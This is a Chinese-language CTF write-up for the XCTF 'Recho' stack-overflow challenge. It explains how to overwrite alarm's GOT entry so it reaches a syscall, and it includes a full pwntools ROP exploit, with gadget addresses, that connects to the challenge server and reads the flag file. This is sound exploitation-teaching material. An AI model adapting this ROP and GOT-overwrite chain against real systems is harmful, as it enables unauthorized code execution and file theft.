XCTF-Recho-WP

Posted on Dec 26, 2020

这道题目本身挺有意思的,但是让我感到如鲠在喉,因为莫名其妙的拿不到flag。更加莫名奇妙的是吃了个饭回来就可以拿flag了,想想唯一的区别是关了vpn,这个也能有影响?

说实话刚开始的时候我也没觉得这题有什么特别的

不就是简单的栈溢出嘛,libc那一套太容易了,然鹅while中的判断让这种方法失去了可能,让read返回0是困难的,必须断开输入连接(这个可以通过pwntools中的sh.shutdown("send")方法实现),这样我们就无法再次输入了。所以必须在一个rop链中直接实现get flag。同时

文件名flag已经给出了,所以我们可以考虑在链中进行popen->read->write,程序中没有动态链接popen这个函数,所以要考虑系统调用,考虑到事实上每个glibc封装的函数中需要通过内核态的函数都用了系统调用,我们只要利用某个函数的syscall就可以了。

考虑使用alarm,因为我们利用时不可能直接ret到syscal(syscall在libc里面),却要避开syscall前对寄存器的修改,这样就要修改got表中跳转的位置,就会破坏对函数的正常调用,alarm作为一个没什么用处的函数用起来再方便不过了。

这里我们要用到这两个gadgets中的其中一个,实现对got表的修改。我们将alarm的got表值加5,调用alarm的时候就可以执行syscall了。别的gadgets是一点都不缺的,之后popen等的调用都很容易地可以实现

所以就有了exp:

#!/usr/bin/env python                                             
# coding=utf-8                                                    
from pwn import *                                                 
#sh = process('./Recho')                                          
sh = remote("220.249.52.134","35280")                             
context(log_level = 'debug',arch = 'amd64',os = 'linux')          
elf = ELF('./Recho')                                              
pop_rax_ret = 0x4006fc                                            
pop_rdi_ret = 0x4008a3                                            
pop_rsi_r15_ret = 0x4008a1                                        
pop_rdx_ret = 0x4006fe                                            
add_rdi_al_ret = 0x40070d                                         
                                                                  
payload  = 'a' * 0x30 + 'b' * 0x8                                 
payload += p64(pop_rax_ret) + p64(0x5)                            
payload += p64(pop_rdi_ret) + p64(elf.got['alarm'])               
payload += p64(add_rdi_al_ret)                                    
                                                                  
payload += p64(pop_rax_ret) + p64(2)                              
payload += p64(pop_rdi_ret) + p64(0x601058) #'flag' addr          
payload += p64(pop_rdx_ret) + p64(0)                              
payload += p64(pop_rsi_r15_ret) + p64(0) * 2 #read type           
payload += p64(elf.symbols['alarm'])                              
                                                                  
payload += p64(pop_rdi_ret) + p64(3) #fd = 3                      
payload += p64(pop_rsi_r15_ret) + p64(0x601090) + p64(0) #read to 
payload += p64(pop_rdx_ret) + p64(0x30) #len                      
payload += p64(elf.symbols["read"])                               
                                                                  
payload += p64(pop_rdi_ret) + p64(1) #fd =1 stdout                
payload += p64(pop_rsi_r15_ret) + p64(0x601090) + p64(0) #read to 
payload += p64(pop_rdx_ret) + p64(0x30) #len                      
payload += p64(elf.symbols["write"])                              
                                                                  
sh.sendlineafter("server!\n",str(len(payload)))                   
sh.sendline(payload)                                              
sh.recv()                                                         
sh.shutdown("send")                                               
                                                                  
sh.interactive()